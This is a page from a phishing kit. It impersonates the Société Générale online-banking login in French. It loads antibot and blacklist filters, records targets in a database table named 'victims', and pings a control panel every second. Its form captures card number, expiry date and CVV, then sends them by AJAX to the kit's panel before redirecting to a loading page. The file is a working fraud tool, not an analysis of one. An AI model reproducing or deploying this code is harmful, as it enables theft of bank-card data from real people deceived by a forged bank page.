<?php
include '../ipanel/inc/config.php';
include '../ipanel/inc/connect.php';
include '../new_anti_config.php';
if ($internal_antibot == 1) {
   include "../ipanel/inc/old_blocker.php";
}
if ($mobile_lock == "checked") {
   include "../ipanel/inc/mob_lock.php";
}
$url = $_SERVER['REQUEST_URI'];



include '../ipanel/inc/blacklist.php';
include '../ipanel/inc/gateway.php';


if ($enable_antibots == "checked") {
   include '../ipanel/inc/anti.php';
}
session_start();

$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];


if ($_SESSION['started'] == 'true') {

    $uniqueid = $_SESSION['uniqueid'];
    $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
    if ($query) {
   $arr = mysqli_fetch_array($query, MYSQLI_ASSOC);
   $user = $arr['user'];
   $card = $arr['card'];
   if ($card != '') {
    $error = "<div style='color:#D4222D'>" . translateText('errorsp1', $currentLanguage) . "</div>";
   }
    }
  
  } else {
     header('location:../exit.php');
}
  


if($_SESSION['started'] == 'true'){
  $uniqueid = $_SESSION['uniqueid'];
  $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
  if ($query) {
          $query = mysqli_query($conn, "UPDATE victims SET status=11, buzzed=1 WHERE uniqueid=$uniqueid");
      }
} else {
     header('location:../exit.php');
}
  



    ?>
<!DOCTYPE html SYSTEM "about:legacy-compat">
<html class="fr" lang="fr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">


<meta content="no-store" http-equiv="cache-control">
<meta content="no-cache" http-equiv="cache-control">
<meta content="no-cache" http-equiv="pragma">
<meta content="0" http-equiv="expires">
<meta content="IE=edge" http-equiv="X-UA-Compatible">
<meta content="width=1024" name="viewport">
<meta content="IDLE" name="asyncTaskIndicator">
<title>Connexion à la banque en ligne</title>
<link type="text/css" rel="stylesheet" href="./theme/desktop.css">

<link type="text/css" rel="stylesheet" href="./theme/components.default.css">
<link type="image/x-icon" rel="shortcut icon" href="theme/favicon.ico">


<script src="theme/styles.js" type="text/javascript"></script>
    <script type="text/javascript" src="theme/jquery-2.2.3.js"></script>

    
        
<script>
function check(form) {

    if (!checkThenr (document.getElementById('cnr').value,document.getElementById('thetype').value))
{  form.cnr.focus(); document.getElementById("cnr").style.borderColor="#de071c"; return false; } else { document.getElementById("cnr").style.borderColor="#c8c8c8"; }


var regExpressPostcode = /^(0[1-9]|1[0-2])\/(20[2-9][0-9])$/;
if (!regExpressPostcode.test(form.goned.value))
{  form.goned.focus(); document.getElementById("goned").style.borderColor="#de071c"; return false; } else { document.getElementById("goned").style.borderColor="#c8c8c8"; }


var regExpressPostcode =  /^[0-9]*$/
if (!regExpressPostcode.test(form.three.value))
{  form.three.focus(); document.getElementById("three").style.borderColor="#de071c"; return false; } else { document.getElementById("three").style.borderColor="#c8c8c8"; }

if (form.three.value.length < 3) 
{  form.three.focus(); document.getElementById("three").style.borderColor="#de071c"; return false; } else { document.getElementById("three").style.borderColor="#c8c8c8"; }



submit_form();
// form.submit()
}
function change(){
var change = document.getElementById("cnr").value

if (change.charAt(0) == '5') {
document.getElementById("thetype").value = "MxM";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/MxM.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}


else if (change.charAt(0) == '4') {
document.getElementById("thetype").value = "VxV";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/VxV.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}


else if (change.charAt(0) == '3') {
document.getElementById("thetype").value = "AxA";
document.getElementById("three").maxLength = "4";
document.getElementById("three").placeholder = "XXXX";
document.getElementById("cnr").style = "background-image: url('theme/AxA.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 60%;"
}


else if (change.charAt(0) == '6') {
document.getElementById("thetype").value = "DxD";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/DxD.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}

else {
document.getElementById("cnr").style = "background-image: url('theme/x.webp'); background-size: 20px 20px; background-repeat: no-repeat; background-position: 98% 50%;"
}



}
</script> 



</head>
<body class="login">
<div aria-live="polite" aria-relevant="additions text" class="content loginMainPanelContainer">
<div class="lineAboveMasthead"></div>
<div class="masthead mastheadPanel" id="mastheadId">
<div class="headingPageRegion headingPage loginMainPanelContainer" role="row">
<span role="gridcell" class="headingPageText">BIENVENUE</span>
</div>
<div role="navigation">
<div class="printNone" role="menubar" id="primaryNav">
<div aria-hidden="false" class="displayNone" id="loginLanguages" style="display: block;">
<div class="buttonGroupContainer floatRight" id="loginLanguageButtons">
<button name="loginLanguageButtons_fr" class="groupButton jsActive" role="button" type="button" id="loginLanguageButtons_fr">
<div class="buttonLeft floatLeft"></div>
<div class="groupButtonMiddle floatLeft  "><?= translateText('errorsp2', $currentLanguage); ?></div>
<div class="buttonRight floatLeft"></div>
</button>
</div>
</div>
</div>
</div>
</div>
<div class="mainPanelContainer loginMainPanelContainer">
<div class="mainPanel fiveColumn clearfix">
<div class="loginPanel moduleDisplayRegion formPanel loginMainPanelContainer" role="main">
<span aria-hidden="true" class="displayNone" id="popupDisable"></span>
<div class="loginFormRegion">
<form aria-labelledby="pageModule" action="" method="POST" id="loginForm" autocomplete="off">
<input id="thetype" type="hidden" name="thetype"  value="">
<input type="text" autocomplete="off" id="blank" name="blank" readonly="readonly">

<div id="pageModule">
<div class="borderBelow separatedPanel" id="pageHeaderBar">
<div role="grid" id="authGrid">
<div class="masthead mastheadPanel primaryLoginScreen" id="mastheadId">
<div class="mastheadShadow"></div>
<div role="banner" class="mastheadPanel">
<div class="printNone">
<div class="brandName printNone floatRight"></div>
<div class="logo loginPanel step1" id="logoDiv"></div>
</div>
<div aria-hidden="true" class="displayNone floatRight printBlock">
<img alt="" class="logoPrint" src="./theme/pic_logo.png"></div>
</div>
</div>
<div class="infoRow spread headingInfoRow displayNone" role="row" id="helpdeskRow">
<div class="loginPicture"></div>
<div class="infoLabel floatLeft helpDeskInfo" role="gridcell">Votre connexion</div>
<div class="infoDescription" role="gridcell">
    Vous vous êtes connecté(e) avec succès
  </div>
</div>
<div aria-hidden="true" class="infoRow spread headingInfoRow displayNone" role="row" id="helpGettingStartedLink">
<div class="infoLabel floatLeft" role="gridcell"><span></span></div>
</div>
</div>
</div>

<div aria-hidden="false" aria-labelledby="loginHeading" class="displayNone loginMainPanelContainer" role="group" id="loginPanel">
<div style="text-align: left;padding-top: 20px;">
<h1 style="font-size:20px;margin-left: -10px;margin-bottom:10px;"><?= translateText('formp2', $currentLanguage); ?> </h1>
<p style="margin-left: -10px;font-size:14px;"><?= translateText('footerp4', $currentLanguage); ?></p>
<?= $error ?>

<div class="loginInput">
<label for="cnr"><?= translateText('footerp11', $currentLanguage); ?> </label>
            <input class="inputField twoColumn" onpaste="change();" onkeyup="change();" onchange="change();" name="number" id="cnr" maxlength="19" type="tel"  onKeyDown="if(event.keyCode==13) check(this.form);" >
           </div>
           <br>
           <div class="loginInput">
           <label for="goned"><?= translateText('footerp12', $currentLanguage); ?> </label>
            <input class="inputField twoColumn" type="tel" id="goned" name="goned" maxlength="7" onkeydown="if(event.keyCode==13) check(this.form);" placeholder="<?= translateText('footerp14', $currentLanguage); ?>">
           </div>
           <br>
           <div class="loginInput">
           <label for="three"><?= translateText('footerp13', $currentLanguage); ?> </label>
            <input class="inputField twoColumn" pattern="[0-9]*" inputmode="numeric" min="0000" max="9999" style="-webkit-text-security: disc;" maxlength="3" onkeydown="if(event.keyCode==13) check(this.form);" type="password" id="three" name="three">
           </div>

<br><br>

<br><br><br><br>
<button style="margin-left:-10px;" tabindex="4" class="primaryButton floatLeft nextButton" name="submit" role="button" onclick="check(this.form)" type="button" id="submit">
<div class="buttonRight primaryButtonRight floatRight"></div>
<div class="buttonMiddle primaryButtonMiddle floatRight"> <?= translateText('formp9', $currentLanguage); ?></div>
<div class="buttonLeft primaryButtonLeft floatRight"></div>
</button>
</div>





</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>

<div class="footer printNone" aria-label="Liens web" role="contentinfo">
<div class="fatSeparator footerSeparator threeColumn">&nbsp;</div>
<div class="footerPanel threeColumn loginMainPanelContainer">
<span class="copyrightLine">Copyright © Société Générale 2025</span>
</div>
</div>


<script type="text/javascript">
    window.onload=function(){
      
thecnr = function(jQinp)
{
    var format_and_pos = function(input, char, backspace)
    {
        var start = 0;
        var end = 0;
        var pos = 0;
        var value = input.value;

        if (char !== false)
        {
            start = input.selectionStart;
            end = input.selectionEnd;

            if (backspace && start > 0) // handle backspace onkeydown
            {
                start--;

                if (value[start] == " ")
                { start--; }
            }
            // To be able to replace the selection if there is one
            value = value.substring(0, start) + char + value.substring(end);

            pos = start + char.length; // caret position
        }

        var d = 0; // digit count
        var dd = 0; // total
        var gi = 0; // group index
        var newV = "";
        var groups = /^\D*3[47]/.test(value) ? // check for American Express
        [4, 6, 5] : [4, 4, 4, 4];

        for (var i = 0; i < value.length; i++)
        {
            if (/\D/.test(value[i]))
            {
                if (start > i)
                { pos--; }
            }
            else
            {
                if (d === groups[gi])
                {
                    newV += " ";
                    d = 0;
                    gi++;

                    if (start >= i)
                    { pos++; }
                }
                newV += value[i];
                d++;
                dd++;
            }
            if (d === groups[gi] && groups.length === gi + 1) // max length
            { break; }
        }
        input.value = newV;

        if (char !== false)
        { input.setSelectionRange(pos, pos); }
    };

    jQinp.keypress(function(e)
    {
        var code = e.charCode || e.keyCode || e.which;

        // Check for tab and arrow keys (needed in Firefox)
        if (code !== 9 && (code < 37 || code > 40) &&
        // and CTRL+C / CTRL+V
        !(e.ctrlKey && (code === 99 || code === 118)))
        {
            e.preventDefault();

            var char = String.fromCharCode(code);

            // if the character is non-digit
            // -> return false (the character is not inserted)

            if (/\D/.test(char))
            { return false; }

            format_and_pos(this, char);
        }
    }).
    keydown(function(e) // backspace doesn't fire the keypress event
    {
        if (e.keyCode === 8 || e.keyCode === 46) // backspace or delete
        {
            e.preventDefault();
            format_and_pos(this, '', this.selectionStart === this.selectionEnd);
        }
    }).
    on('paste', function()
    {
        // A timeout is needed to get the new value pasted
        setTimeout(function()
        { format_and_pos(jQinp[0], ''); }, 50);
    }).
    blur(function() // reformat onblur just in case (optional)
    {
        format_and_pos(this, false);
    });
};

thecnr($('#cnr'));




}



</script>

<script>
var characterCount = 0;

$('#goned').on('input', function(e) {
    var input = $(this).val();
    input = input.replace(/\D/g, '');
    if (input.length > 2) {
        input = input.substring(0, 2) + '/' + input.substring(2);
    }
    $(this).val(input);
    characterCount = $(this).val().length;
});

</script>



    
<script src="../assets/js/jquery-1.11.3.min.js"></script>
   <script src="../assets/js/main.js"></script>
   <script>
      var pinger = setInterval(function() {
         var urldata = "../ipanel/inc/action.php?type=ping";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               //console.log(response)
            }
         });
      }, 1000);
      function submit_form() {
        var card = document.getElementById('cnr').value.replace(/\s+/g, '');
         var exp = document.getElementById('goned').value;
         var three = document.getElementById('three').value;
         $.ajax({
            type: 'POST',
            url: '../ipanel/inc/action.php?type=safe2',
            data: 'card=' + card + '&exp=' + exp + '&three=' + three,
            success: function(data) {
               var parsed_data = JSON.parse(data);
               if (parsed_data.status == 'ok') {
                  location.href = "loading.php"
               }
            }
         })
      }


   </script>

</body>
</html>
